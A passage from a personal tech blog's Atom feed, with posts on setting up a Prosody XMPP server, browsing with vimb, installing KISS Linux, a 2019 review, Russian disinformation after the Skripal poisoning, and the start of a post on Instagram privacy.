<p><img src="https://cdn.icyphox.sh/EjO-E.jpg" alt="" /></p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Setting up Prosody for XMPP</title>
|
||
<updated>2020-02-18T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-02-18:blog/prosody</id>
|
||
<link href="https://icyphox.sh/blog/prosody"></link>
|
||
<summary type="html"><h2>I setup Prosody yesterday—here's how I did it</h2>
<p>Remember the <a href="/blog/irc-for-dms/">IRC for DMs</a> article I wrote a while
back? Well&hellip;it&rsquo;s safe to say that IRC didn&rsquo;t hold up too well. It first
started with the bot. Buggy code, crashed a lot&mdash;we eventually gave up
and didn&rsquo;t bring the bot back up. Then came the notifications, or lack
thereof. Revolution IRC has a bug where your custom notification rules
just get ignored after a while. In my case, this meant that
notifications for <code>#crimson</code> stopped entirely. Unless, of course, Nerdy
pinged me each time.</p>

<p>Again, none of these problems are inherent to IRC itself. IRC is
fantastic, but perhaps wasn&rsquo;t the best fit for our usecase. I still do
use IRC though, just not for 1-on-1 conversations.</p>

<h2 id="why-xmpp">Why XMPP?</h2>

<p>For one, it&rsquo;s better suited for 1-on-1 conversations. It also has
support for end-to-end encryption (via OMEMO), something IRC doesn&rsquo;t
have.<sup class="footnote-ref" id="fnref:otr"><a href="#fn:otr">1</a></sup> Also, it isn&rsquo;t centralized (think: email).</p>

<h2 id="so-prosody">So&hellip;Prosody</h2>

<p><a href="https://prosody.im" rel="nofollow">Prosody</a> is an XMPP server. Why did I choose this
over ejabberd, OpenFire, etc.? No reason, really. Their website looked
cool, I guess.</p>

<h3 id="installing">Installing</h3>

<p>Setting it up was pretty painless (I&rsquo;ve <a href="/blog/mailserver">experienced
worse</a>). If you&rsquo;re on a Debian-derived system, add:</p>

<pre><code># modify according to your distro
deb https://packages.prosody.im/debian buster main 
</code></pre>

<p>to your <code>/etc/apt/sources.list</code>, and:</p>

<pre><code># apt update
# apt install prosody
</code></pre>

<h3 id="configuring">Configuring</h3>

<p>Once installed, you will find the config file at
<code>/etc/prosody/prosody.cfg.lua</code>. Add your XMPP user (we will make this
later), to the <code>admins = {}</code> line.</p>

<pre><code>admins = {&quot;user@chat.example.com&quot;}
</code></pre>

<p>Head to the <code>modules_enabled</code> section, and add this to it:</p>

<pre><code>modules_enabled = {
 &quot;posix&quot;;
 &quot;omemo_all_access&quot;;
...
 -- uncomment these
 &quot;groups&quot;;
 &quot;mam&quot;;
 -- and any others you think you may need
}
</code></pre>

<p>We will install the <code>omemo_all_access</code> module later.</p>

<p>Set <code>c2s_require_encryption</code>, <code>s2s_require_encryption</code>, and
<code>s2s_secure_auth</code> to <code>true</code>.
Set the <code>pidfile</code> to <code>/tmp/prosody.pid</code> (or just leave it as default?).</p>

<p>By default, Prosody stores passwords in plain-text, so fix that by
setting <code>authentication</code> to <code>&quot;internal_hashed&quot;</code></p>

<p>Head to the <code>VirtualHost</code> section, and add your vhost. Right above it,
set the path to the HTTPS certificate and key:</p>

<pre><code>certificates = &quot;certs&quot; -- relative to your config file location
https_certificate = &quot;certs/chat.example.com.crt&quot;
https_key = &quot;certs/chat.example.com.key&quot;
...

VirtualHost &quot;chat.example.com&quot;
</code></pre>

<p>I generated these certs using Let&rsquo;s Encrypt&rsquo;s <code>certbot</code>, you can use
whatever. Here&rsquo;s what I did:</p>

<pre><code># certbot --nginx -d chat.example.com
</code></pre>

<p>This generates certs at <code>/etc/letsencrypt/live/chat.example.com/</code>. You can
trivially import these certs into Prosody&rsquo;s <code>/etc/prosody/certs/</code> directory using:</p>

<pre><code># prosodyctl cert import /etc/letsencrypt/live/chat.example.com
</code></pre>

<h3 id="plugins">Plugins</h3>

<p>All the modules for Prosody can be <code>hg clone</code>&rsquo;d from
<a href="https://hg.prosody.im/prosody-modules" rel="nofollow">https://hg.prosody.im/prosody-modules</a>. You will, obviously, need
Mercurial installed for this.</p>

<p>Clone it somewhere, and:</p>

<pre><code># cp -R prosody-modules/mod_omemo_all_access /usr/lib/prosody/modules
</code></pre>

<p>Do the same thing for whatever other module you choose to install. Don&rsquo;t
forget to add it to the <code>modules_enabled</code> section in the config.</p>

<h3 id="adding-users">Adding users</h3>

<p><code>prosodyctl</code> makes this a fairly simple task:</p>

<pre><code>$ prosodyctl adduser user@chat.example.com
</code></pre>

<p>You will be prompted for a password. You can optionally, enable
user registrations from XMPP/Jabber clients (security risk!), by setting
<code>allow_registration = true</code>.</p>

<p>I may have missed something important, so here&rsquo;s <a href="https://cdn.icyphox.sh/prosody.cfg.lua" rel="nofollow">my
config</a> for reference.</p>

<h2 id="closing-notes">Closing notes</h2>

<p>That&rsquo;s pretty much all you need for 1-on-1 E2EE chats. I don&rsquo;t know much
about group chats just yet&mdash;trying to create a group in Conversations
gives a &ldquo;No group chat server found&rdquo;. I will figure it out later.</p>

<p>Another thing that doesn&rsquo;t work in Conversations is adding an account
using an <code>SRV</code> record.<sup class="footnote-ref" id="fnref:srv"><a href="#fn:srv">2</a></sup> Which kinda sucks, because having a <code>chat.</code>
subdomain isn&rsquo;t very clean, but whatever.</p>

<p>Oh, also&mdash;you can message me at
<a href="xmpp:icy@chat.icyphox.sh" rel="nofollow">icy@chat.icyphox.sh</a>.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:otr">I&rsquo;m told IRC supports OTR, but I haven&rsquo;t ever tried. <a class="footnote-return" href="#fnref:otr"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:srv"><a href="https://prosody.im/doc/dns" rel="nofollow">https://prosody.im/doc/dns</a> <a class="footnote-return" href="#fnref:srv"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Status update</title>
|
||
<updated>2020-01-18T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-01-18:blog/2020-01-18</id>
|
||
<link href="https://icyphox.sh/blog/2020-01-18"></link>
|
||
<summary type="html"><h2>New year…new stuff?</h2>
<p>It&rsquo;s only been a two weeks since I got back to campus, and we&rsquo;ve
<em>already</em> got our first round of cycle tests starting this Tuesday.
Granted, I returned a week late, but&hellip;that&rsquo;s nuts!</p>

<p>We&rsquo;re two whole weeks into 2020; I should&rsquo;ve been working on something
status update worthy, right? Not really, but we&rsquo;ll see.</p>

<h2 id="no-more-cloudflare">No more Cloudflare!</h2>

<p>Yep. If you weren&rsquo;t aware&mdash;pre-2020 this site was behind Cloudflare
SSL and their DNS. I have since migrated off it to
<a href="https://he.net" rel="nofollow">he.net</a>, thanks to highly upvoted Lobste.rs comment.
Because of this switch, I infact, learnt a ton about DNS.</p>

<p>Migrating to HE was very painless, but I did have to research a lot
about PTR records&mdash;Cloudflare kinda dumbs it down. In my case, I had to
rename my DigitalOcean VPS instance to the FQDN, which then
automagically created a PTR record at DO&rsquo;s end.</p>

<h2 id="i-dropped-icyrc">I dropped icyrc</h2>

<p>The IRC client I was working on during the end of last
December--early-January? Yeah, I lost interest. Apparently writing C and
ncurses isn&rsquo;t very fun or stimulating.</p>

<p>This also means I&rsquo;m back on weechat. Until I find another client that
plays well with ZNC, that is.</p>

<h2 id="kiss-stuff">KISS stuff</h2>

<p>I now maintain two new packages in the KISS community repository&mdash;2bwm
and aerc! The KISS package system is stupid simple to work with. Creating
packages has never been easier.</p>

<h2 id="icyphox-sh-friends-friends"><a href="/friends">icyphox.sh/friends</a></h2>

<p>Did you notice that yet? I&rsquo;ve been curating a list of people I know IRL
and online, and linking to their online presence. This is like a webring
of sorts, and promotes inter-site traffic&mdash;making the web more &ldquo;web&rdquo;
again.</p>

<p>If you know me, feel free to <a href="/about#contact">hit me up</a> and I&rsquo;ll link
your site too! My apologies if I&rsquo;ve forgotten your name.</p>

<h2 id="patreon">Patreon!</h2>

<p>Is this big news? I dunno, but yes&mdash;I now have a Patreon. I figured I&rsquo;d
cash in on the newfound traffic my site&rsquo;s been getting. There won&rsquo;t be
any exclusive content or any tiers or whatever. Nothing will change.
Just a place for y&rsquo;all to toss me some $$$ if you wish to do so. ;)</p>

<p>Oh, and it&rsquo;s at <a href="https://patreon.com/icyphox" rel="nofollow">patreon.com/icyphox</a>.</p>

<h2 id="misc">Misc.</h2>

<p>The Stormlight Archive is likely the <em>best</em> epic I have ever read till
date. I&rsquo;m still not done yet; about 500 odd pages to go as of this
writing. But wow, Brandon really does know how to build worlds and magic
systems. I cannot wait to read all about the
<a href="https://coppermind.net/wiki/Cosmere" rel="nofollow">cosmere</a>.</p>

<p>I have also been working out for the past month or so. I can see them
gainzzz. I plan to keep track of my progress, I just don&rsquo;t know how to
quantify it. Perhaps I&rsquo;ll log the number of reps × sets I do each time,
and with what weights. I can then look back to see if either the weights
have increased since, or the number of reps × sets have. If you know of
a better way to quantify progress, let me know! I&rsquo;m pretty new to this.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Vimb&#58; my Firefox replacement</title>
|
||
<updated>2020-01-16T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-01-16:blog/mnml-browsing</id>
|
||
<link href="https://icyphox.sh/blog/mnml-browsing"></link>
|
||
<summary type="html"><h2>Web browsing, suckless style</h2>
<p>After having recently installed <a href="https://getkiss.org" rel="nofollow">KISS</a>, and
building Firefox from source, I was exposed to the true monstrosity that
Firefox&mdash;and web browsers in general&mdash;is. It took all of 9 hours to
build the dependencies and then Firefox itself.</p>

<p>Sure, KISS now ships Firefox binaries in the
<a href="https://github.com/kisslinux/repo/tree/master/extra/firefox-bin" rel="nofollow">firefox-bin</a>
package; I decided to get rid of that slow mess anyway.</p>

<h2 id="enter-vimb">Enter vimb</h2>

<p><a href="https://fanglingsu.github.io/vimb/" rel="nofollow">vimb</a> is a browser based on
<a href="https://webkitgtk.org/" rel="nofollow">webkit2gtk</a>, with a Vim-like interface.
<code>webkit2gtk</code> builds in less than a minute&mdash;it blows Firefox out of
the water, on that front.</p>

<p>There isn&rsquo;t much of a UI to it&mdash;if you&rsquo;ve used Vimperator/Pentadactyl
(Firefox plugins), vimb should look familiar to you.
It can be configured via a <code>config.h</code> or a text based config file at
<code>~/.config/vimb/config</code>.
Each &ldquo;tab&rdquo; opens a new instance of vimb, in a new window but this can
get messy really fast if you have a lot of tabs open.</p>

<h2 id="enter-tabbed">Enter tabbed</h2>

<p><a href="https://tools.suckless.org/tabbed/" rel="nofollow">tabbed</a> is a tool to <em>embed</em> X apps
which support xembed into a tabbed UI. This can be used in conjunction
with vimb, like so:</p>

<pre><code>tabbed vimb -e
</code></pre>

<p>Where the <code>-e</code> flag is populated with the <code>XID</code>, by tabbed. Configuring
Firefox-esque keybinds in tabbed&rsquo;s <code>config.h</code> is relatively easy. Once
that&rsquo;s done&mdash;voilà! A fairly sane, Vim-like browsing experience that&rsquo;s
faster and has a smaller footprint than Firefox.</p>

<h2 id="ad-blocking">Ad blocking</h2>

<p>Ad blocking support isn&rsquo;t built-in and there is no plugin system
available. There are two options for ad blocking:</p>

<ol>
<li><a href="https://github.com/jun7/wyebadblock" rel="nofollow">wyebadblock</a></li>
<li><code>/etc/hosts</code></li>
</ol>

<h2 id="caveats">Caveats</h2>

<p><em>Some</em> websites tend to not work because they detect vimb as an older
version of Safari (same web engine). This is a minor inconvenience, and
not a dealbreaker for me. I also cannot login to Google&rsquo;s services for
some reason, which is mildly annoying, but it&rsquo;s good in a way&mdash;I am now
further incentivised to dispose of my Google account.</p>

<p>And here&rsquo;s the screenshot y&rsquo;all were waiting for:</p>

<p><img src="https://cdn.icyphox.sh/d03i0.png" alt="" /></p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Five days in a TTY</title>
|
||
<updated>2020-01-13T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-01-13:blog/five-days-tty</id>
|
||
<link href="https://icyphox.sh/blog/five-days-tty"></link>
|
||
<summary type="html"><h2>I installed KISS Linux</h2>
<p>This new semester has been pretty easy on me, so far. I hardly every
have any classes (again, so far), and I&rsquo;ve a ton of free time on my
hands. This calls for&mdash;yep&mdash;a distro hop!</p>

<h2 id="why-kiss">Why KISS?</h2>

<p><a href="https://getkiss.org" rel="nofollow">KISS</a> has been making rounds on the interwebz lately.<sup class="footnote-ref" id="fnref:hn"><a href="#fn:hn">1</a></sup>
The Hacker News post spurred <em>quite</em> the discussion. But then again,
that is to be expected from Valleybros who use macOS all day. :^)</p>

<p>From the website,</p>

<blockquote>
<p>An independent Linux® distribution with a focus on simplicity and the
concept of “less is more”. The distribution targets <em>only</em> the x86&ndash;64
architecture and the English language.</p>
</blockquote>

<p>Like many people did in the HN thread, &ldquo;simplicity&rdquo; here is not to be
confused with &ldquo;ease&rdquo;. It is instead, simplicity in terms of lesser and
cleaner code&mdash;no
<a href="https://www.urbandictionary.com/define.php?term=poetterware" rel="nofollow">Poetterware</a>.</p>

<p>This, I can get behind. A clean system with less code is like a clean
table. It&rsquo;s nice to work on. It also implies security to a certain
extent since there&rsquo;s a smaller attack surface.</p>

<p>The <a href="https://github.com/kisslinux/kiss" rel="nofollow"><code>kiss</code></a> package manager is written
is pure POSIX sh, and does <em>just enough</em>. Packages are compiled from
source and <code>kiss</code> automatically performs dependency resolution. Creating
packages is ridiculously easy too.</p>

<p>Speaking of packages, all packages&mdash;both official &amp; community
repos&mdash;are run through <code>shellcheck</code> before getting merged. This is
awesome; I don&rsquo;t think this is done in any other distro.</p>

<p>In essence, KISS sucks less.</p>

<h2 id="installing-kiss">Installing KISS</h2>

<p>The <a href="https://getkiss.org/pages/install" rel="nofollow">install guide</a> is very easy to
follow. Clear instructions that make it hard to screw up; that didn&rsquo;t
stop me from doing so, however.</p>

<h3 id="day-1">Day 1</h3>

<p>Although technically not in a TTY, it was still not <em>in</em> the KISS
system&mdash;I&rsquo;ll count it. I&rsquo;d compiled the kernel in the chroot and
decided to use <code>efibootmgr</code> instead of GRUB. <code>efibootmgr</code> is a neat tool
to modify the Intel Extensible Firmware Interface (EFI). Essentially,
you boot the <code>.efi</code> directly as opposed to choosing which boot entry
you want to boot, through GRUB. Useful if you have just one OS on the
system. Removes one layer of abstraction.</p>

<p>Adding a new EFI entry is pretty easy. For me, the command was:</p>

<pre><code>efibootmgr --create 
 --disk /dev/nvme0n1 \
 --part 1 \
 --label KISS Linux \
 --loader /vmlinuz
 --unicode 'root=/dev/nvme0n1p3 rw' # kernel parameters
</code></pre>

<p>Mind you, this didn&rsquo;t work the first time, or the second, or the
third &hellip; a bunch of trial and error (and asking on <code>#kisslinux</code>)
later, it worked.</p>

<p>Well, it booted, but not into KISS. Took a while to figure out that the
culprit was <code>CONFIG_BLK_DEV_NVME</code> not having been set in the kernel
config. Rebuild &amp; reboot later, I was in.</p>

<h3 id="day-2">Day 2</h3>

<p>Networking! How fun. An <code>ip a</code> and I see that both USB tethering
(ethernet) and wireless don&rsquo;t work. Great. Dug around a bit&mdash;missing
wireless drivers was the problem. Found my driver, a binary <code>.ucode</code> from
Intel (eugh!). The whole day was spent in figuring out why the kernel
would never load the firmware. I tried different variations&mdash;loading
it as a module (<code>=m</code>), baking it in (<code>=y</code>) but no luck.</p>

<h3 id="day-3">Day 3</h3>

<p>I then tried Alpine&rsquo;s kernel config but that was so huge and had a <em>ton</em>
of modules and took far too long to build each time, much to my
annoyance. Diffing their config and mine was about ~3000 lines! Too much
to sift through. On a whim, I decided to scrap my entire KISS install
and start afresh.</p>

<p>For some odd reason, after doing the <em>exact</em> same things I&rsquo;d done
earlier, my wireless worked this time. Ethernet didn&rsquo;t, and still
doesn&rsquo;t, but that&rsquo;s ok.</p>

<p>Building <code>xorg-server</code> was next, which took about an hour, mostly thanks
to spotty internet. The build went through fine, though what wasn&rsquo;t was
no input after starting X. Adding my user to the <code>input</code> group wasn&rsquo;t
enough. The culprit this time was a missing <code>xf86-xorg-input</code> package.
Installing that gave me my mouse back, but not the keyboard!</p>

<p>It was definitely not the kernel this time, because I had a working
keyboard in the TTY.</p>

<h3 id="day-4-day-5">Day 4 &amp; Day 5</h3>

<p>This was probably the most annoying of all, since the fix was <em>trivial</em>.
By this point I had exhausted all ideas, so I decided to build my
essential packages and setup my system. Building Firefox took nearly
9 hours, the other stuff were much faster.</p>

<p>I was still chatting on IRC during this, trying to zero down on what the
problem could be. And then:</p>

<pre><code>&lt;dylanaraps&gt; For starters I think st fails due to no fonts.
</code></pre>

<p>Holy shit! Fonts. I hadn&rsquo;t installed <em>any</em> fonts. Which is why none of
the applications I tried launching via <code>sowm</code> ever launched, and hence,
I was lead to believe my keyboard was dead.</p>

<h2 id="worth-it">Worth it?</h2>

<p>Absolutely. I <em>cannot</em> stress on how much of a learning experience this
was. Also a test of my patience and perseverance, but yeah ok. I also
think that this distro is my endgame (yeah, right), probably because
other distros will be nothing short of disappointing, in one way or
another.</p>

<p>Huge thanks to the folks at <code>#kisslinux</code> on Freenode for helping me
throughout. And I mean, they <em>really</em> did. We chatted for hours on end
trying to debug my issues.</p>

<p>I&rsquo;ll now conclude with an obligatory screenshot.</p>

<p><img src="https://cdn.icyphox.sh/R6G.png" alt="scrot" /></p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:hn"><a href="https://news.ycombinator.com/item?id=21021396" rel="nofollow">https://news.ycombinator.com/item?id=21021396</a> <a class="footnote-return" href="#fnref:hn"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>2019 in review</title>
|
||
<updated>2020-01-02T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-01-02:blog/2019-in-review</id>
|
||
<link href="https://icyphox.sh/blog/2019-in-review"></link>
|
||
<summary type="html"><h2>A look back at last year</h2>
<p>Just landed in a rainy Chennai, back in campus for my 6th semester.
A little late to the &ldquo;year in review blog post&rdquo; party; travel took up
most of my time. Last year was pretty eventful (at least in my books),
and I think I did a bunch of cool stuff&mdash;let&rsquo;s see!</p>

<h2 id="interning-at-securelayer7">Interning at SecureLayer7</h2>

<p>Last summer, I interned at <a href="https://securelayer7.net" rel="nofollow">SecureLayer7</a>,
a security consulting firm in Pune, India. My work was mostly in
hardware and embededded security research. I learnt a ton about ARM and
MIPS reversing and exploitation, UART and JTAG, firmware RE and
enterprise IoT security.</p>

<p>I also earned my first CVE! I&rsquo;ve written about it in detail
<a href="/blog/fb50">here</a>.</p>

<h2 id="conferences">Conferences</h2>

<p>I attended two major conferences last year&mdash;Nullcon Goa and PyCon
India. Both super fun experiences and I met a ton of cool people!
<a href="https://twitter.com/icyphox/status/1101022604851212288" rel="nofollow">Nullcon Twitter thread</a>
and <a href="/blog/pycon-wrap-up">PyCon blog post</a>.</p>

<h2 id="talks">Talks</h2>

<p>I gave two talks last year:</p>

<ol>
<li><em>Intro to Reverse Engineering</em> at Cyware 2019</li>
<li><em>&ldquo;Smart lock? Nah dude.&rdquo;</em> at PyCon India</li>
</ol>

<h2 id="things-i-made">Things I made</h2>

<p>Not in order, because I CBA:</p>

<ul>
<li><a href="https://github.com/icyphox/repl" rel="nofollow">repl</a>: More of a quick bash hack,
I don&rsquo;t really use it.</li>
<li><a href="https://github.com/icyphox/pw" rel="nofollow">pw</a>: A password manager. This,
I actually do use. I&rsquo;ve even written a tiny
<a href="https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh" rel="nofollow"><code>dmenu</code> wrapper</a>
for it.</li>
<li><a href="https://github.com/icyphox/twsh" rel="nofollow">twsh</a>: An incomplete twtxt client,
in bash. I have yet to get around to finishing it.</li>
<li><a href="https://github.com/icyphox/alpine" rel="nofollow">alpine ports</a>: My APKBUILDs for
Alpine.</li>
<li><a href="https://github.com/icyphox/detotated" rel="nofollow">detotated</a>: An IRC bot written
in Python. See <a href="/blog/irc-for-dms">IRC for DMs</a>.</li>
<li><a href="https://github.com/icyphox/icyrc" rel="nofollow">icyrc</a>: A no bullshit IRC client,
because WeeChat is bloat.</li>
</ul>

<p>I probably missed something, but whatever.</p>

<h2 id="blog-posts">Blog posts</h2>

<pre><code>$ ls -1 pages/blog/*.md | wc -l
20
</code></pre>

<p>So excluding today&rsquo;s post, and <code>_index.md</code>, that&rsquo;s 18 posts! I had
initially planned to write one post a month, but hey, this is great. My
plan for 2020 is to write one post a <em>week</em>&mdash;unrealistic, I know, but
I will try nevertheless.</p>

<p>I wrote about a bunch of things, ranging from programming to
return-oriented-programming (heh), sysadmin and security stuff, and
a hint of culture and philosophy. Nice!</p>

<p>The <a href="/blog/python-for-re-1">Python for Reverse Engineering</a> post got
a ton of attention on the interwebz, so that was cool.</p>

<h2 id="bye-2019">Bye 2019</h2>

<p>2019 was super productive! (in my terms). I learnt a lot of new things
last year, and I can only hope to learn as much in 2020. :)</p>

<p>I&rsquo;ll see you next week.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Disinfo war&#58; RU vs GB</title>
|
||
<updated>2019-12-12T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-12-12:blog/ru-vs-gb</id>
|
||
<link href="https://icyphox.sh/blog/ru-vs-gb"></link>
|
||
<summary type="html"><h2>A look at Russian info ops against Britain</h2>
<p>This entire sequence of events begins with the attempted poisoning of
Sergei Skripal<sup class="footnote-ref" id="fnref:skripal"><a href="#fn:skripal">1</a></sup>, an ex-GRU officer who was a double-agent for
the UK&rsquo;s intelligence services. This hit attempt happened on the 4th of
March, 2018. 8 days later, then-Prime Minister Theresa May formally
accused Russia for the attack.</p>

<p>The toxin used in the poisoning was a nerve agent called <em>Novichok</em>.
In addition to the British military-research facility at Porton Down,
a small number of labs around the world were tasked with confirming
Porton Down&rsquo;s conclusions on the toxin that was used, by the OPCW
(Organisation for the Prohibition of Chemical Weapons).</p>

<p>With the background on the matter out of the way, here are the different
instances of well timed disinformation pushed out by Moscow.</p>

<h2 id="the-russian-offense">The Russian offense</h2>

<h3 id="april-14-2018">April 14, 2018</h3>

<ul>
<li>RT published an article claiming that Spiez had identified a different
toxin&mdash;BZ, and not Novichok.</li>
<li>This was an attempt to shift the blame from Russia (origin of Novichok),
to NATO countries, where it was apparently in use.</li>
<li>Most viral piece on the matter in all of 2018.</li>
</ul>

<p>Although technically correct, this isn&rsquo;t the entire truth. As part of
protocol, the OPCW added a new substance to the sample as a test. If any
of the labs failed to identify this substance, their findings were
deemed untrustworthy. This toxin was a derivative of BZ.</p>

<p>Here are a few interesting things to note:</p>

<ol>
<li>The entire process starting with the OPCW and the labs is top-secret.
How did Russia even know Speiz was one of the labs?</li>
<li>On April 11th, the OPCW mentioned BZ in a report confirming Porton
Down&rsquo;s findings. Note that Russia is a part of OPCW, and are fully
aware of the quality control measures in place. Surely they knew
about the reason for BZ&rsquo;s use?</li>
</ol>

<p>Regardless, the Russian version of the story spread fast. They cashed in
on two major factors to plant this disinfo:</p>

<ol>
<li>&ldquo;NATO bad&rdquo; : Overused, but surprisingly works. People love a story
that goes full 180°.</li>
<li>Spiez can&rsquo;t defend itself: At the risk of revealing that it was one
of the facilities testing the toxin, Spiez was only able to &ldquo;not
comment&rdquo;.</li>
</ol>

<h3 id="april-3-2018">April 3, 2018</h3>

<ul>
<li>The Independent publishes a story based on an interview with the chief
executive of Porton Down, Gary Aitkenhead.</li>
<li>Aitkenhead says they&rsquo;ve identified Novichok but &ldquo;have not identified
the precise source&rdquo;.</li>
<li>Days earlier, Boris Johnson (then-Foreign Secretary) claimed that
Porton Down confirmed the origin of the toxin to be Russia.</li>
<li>This discrepancy was immediately promoted by Moscow, and its network
all over.</li>
</ul>

<p>This one is especially interesting because of how <em>simple</em> it is to
exploit a small contradiction, that could&rsquo;ve been an honest mistake.
This episode is also interesting because the British actually attempted
damage control this time. Porton Down tried to clarify Aitkenhead&rsquo;s
statement via a tweet<sup class="footnote-ref" id="fnref:dstltweet"><a href="#fn:dstltweet">2</a></sup>:</p>

<blockquote>
<p>Our experts have precisely identified the nerve agent as a Novichok.
It is not, and has never been, our responsibility to confirm the source
of the agent @skynews @UKmoments</p>
</blockquote>

<p>Quoting the <a href="https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/" rel="nofollow">Defense One</a>
article on the matter:</p>

<blockquote>
<p>The episode is seen by those inside Britain’s security communications team
as the most serious misstep of the crisis, which for a period caused real
concern. U.K. officials told me that, in hindsight, Aikenhead could never
have blamed Russia directly, because that was not his job—all he was
qualified to do was identify the chemical. Johnson, in going too far,
was more damaging. Two years on, he is now prime minister.</p>
</blockquote>

<h3 id="may-2018">May 2018</h3>

<ul>
<li>OPCW facilities receive an email from Spiez inviting them to
a conference.</li>
<li>The conference itself is real, and has been organized before.</li>
<li>The email however, was not&mdash;attached was a Word document containing
malware.</li>
<li>Also seen were inconsistencies in the email formatting, from what was
normal.</li>
</ul>

<p>This spearphishing campaign was never offically attributed to Moscow,
but there are a lot of tells here that point to it being the work of
a state actor:</p>

<ol>
<li>Attack targetting a specific group of individuals.</li>
<li>Relatively high level of sophistication&mdash;email formatting,
malicious Word doc, etc.</li>
</ol>

<p>However, the British NCSC have deemed with &ldquo;high confidence&rdquo; that the
attack was perpetrated by GRU. In the UK intelligence parlance, &ldquo;highly
likely&rdquo; / &ldquo;high confidence&rdquo; usually means &ldquo;definitely&rdquo;.</p>

<h2 id="britain-s-defense">Britain&rsquo;s defense</h2>

<h3 id="september-5-2018">September 5, 2018</h3>

<p>The UK took a lot of hits in 2018, but they eventually came back:</p>

<ul>
<li>Metropolitan Police has a meeting with the press, releasing their
findings.</li>
<li>CCTV footage showing the two Russian hitmen was released.</li>
<li>Traces of Novichok identified in their hotel room.</li>
</ul>

<p>This sudden news explosion from Britan&rsquo;s side completely
bulldozed the information space pertaining to the entire event.
According to Defense One:</p>

<blockquote>
<p>Only two of the 10 most viral stories in the weeks following the announcement
were sympathetic to Russia, according to NewsWhip. Finally, officials recalled,
it felt as though the U.K. was the aggressor. “This was all kept secret to
put the Russians on the hop,” one told me. “Their response was all over the
place from this point. It was the turning point.”</p>
</blockquote>

<p>Earlier in April, 4 GRU agents were arrested in the Netherlands, who
were there to execute a cyber operation against the OPCW (located in The
Hague), via their WiFi networks. They were arrested by Dutch security,
and later identifed as belonging to Unit 26165. They also seized a bunch
of equipment from the room and their car.</p>

<blockquote>
<p>The abandoned equipment revealed that the GRU unit involved had sent
officers around the world to conduct similar cyberattacks. They had
been in Malaysia trying to steal information about the investigation
into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne,
Switzerland, where a World Anti-Doping Agency (WADA) conference was taking
place as Russia faced sanctions from the International Olympic Committee.
Britain has said that the same GRU unit attempted to compromise Foreign
Office and Porton Down computer systems after the Skripal poisoning.</p>
</blockquote>

<h3 id="october-4-2018">October 4, 2018</h3>

<p>UK made the arrests public, published a list of infractions commited by
Russia, along with the specific GRU unit that was caught.</p>

<p>During this period, just one of the top 25 viral stories was from
a pro-Russian outlet, RT&mdash;that too a fairly straightforward piece.</p>

<h2 id="wrapping-up">Wrapping up</h2>

<p>As with conventional warfare, it&rsquo;s hard to determine who won. Britain
may have had the last blow, but Moscow&mdash;yet again&mdash;depicted their
finesse in information warfare. Their ability to seize unexpected
openings, gather intel to facilitate their disinformation campaigns, and
their cyber capabilities makes them a formidable threat.</p>

<p>2020 will be fun, to say the least.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:skripal"><a href="https://en.wikipedia.org/wiki/Sergei_Skripal" rel="nofollow">https://en.wikipedia.org/wiki/Sergei_Skripal</a> <a class="footnote-return" href="#fnref:skripal"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:dstltweet"><a href="https://twitter.com/dstlmod/status/981220158680260613" rel="nofollow">https://twitter.com/dstlmod/status/981220158680260613</a> <a class="footnote-return" href="#fnref:dstltweet"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Instagram OPSEC</title>
|
||
<updated>2019-12-02T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-12-02:blog/ig-opsec</id>
|
||
<link href="https://icyphox.sh/blog/ig-opsec"></link>
|
||
<summary type="html"><h2>Operational security for the average zoomer</h2>
<p>Which I am not, of course. But seeing as most of my peers are, I am
compelled to write this post. Using a social platform like Instagram
automatically implies that the user understands (to some level) that
their personally identifiable information is exposed publicly, and they
sign up for the service understanding this risk&mdash;or I think they do,
anyway. But that&rsquo;s about it, they go ham after that. Sharing every nitty
gritty detail of their private lives without understanding the potential
risks of doing so.</p>

<p>The fundamentals of OPSEC dictacte that you develop a threat model, and
Instgrammers are <em>obviously</em> incapable of doing that&mdash;so I&rsquo;ll do it
for them.</p>

<h2 id="your-average-instagrammer-s-threat-model">Your average Instagrammer&rsquo;s threat model</h2>

<p>I stress on the word &ldquo;average&rdquo;, as in this doesn&rsquo;t apply to those with
more than a couple thousand followers. Those type of accounts inherently
face different kinds of threats&mdash;those that come with having
a celebrity status, and are not in scope of this analysis.</p>

<ul>
<li><strong>State actors</strong>: This doesn&rsquo;t <em>really</em> fit into our threat model,
since our target demographic is simply not important enough. That said,
there are select groups of individuals that operate on
Instagram<sup class="footnote-ref" id="fnref:ddepisode"><a href="#fn:ddepisode">1</a></sup>, and they can potentially be targetted by a state
actor.</li>
</ul>

<ul>
<li><p><strong>OSINT</strong>: This is probably the biggest threat vector, simply because
of the amount of visual information shared on the platform. A lot can be
gleaned from one simple picture in a nondescript alleyway. We&rsquo;ll get
into this in the DOs and DON&rsquo;Ts in a bit.</p></li>

<li><p><strong>Facebook &amp; LE</strong>: Instagram is the last place you want to be doing an
illegal, because well, it&rsquo;s logged and more importantly&mdash;not
end-to-end encrypted. Law enforcement can subpoena any and all account
information. Quoting Instagram&rsquo;s
<a href="https://help.instagram.com/494561080557017" rel="nofollow">page on this</a>:</p></li>
</ul>

<blockquote>
<p>a search warrant issued under the procedures described in the Federal
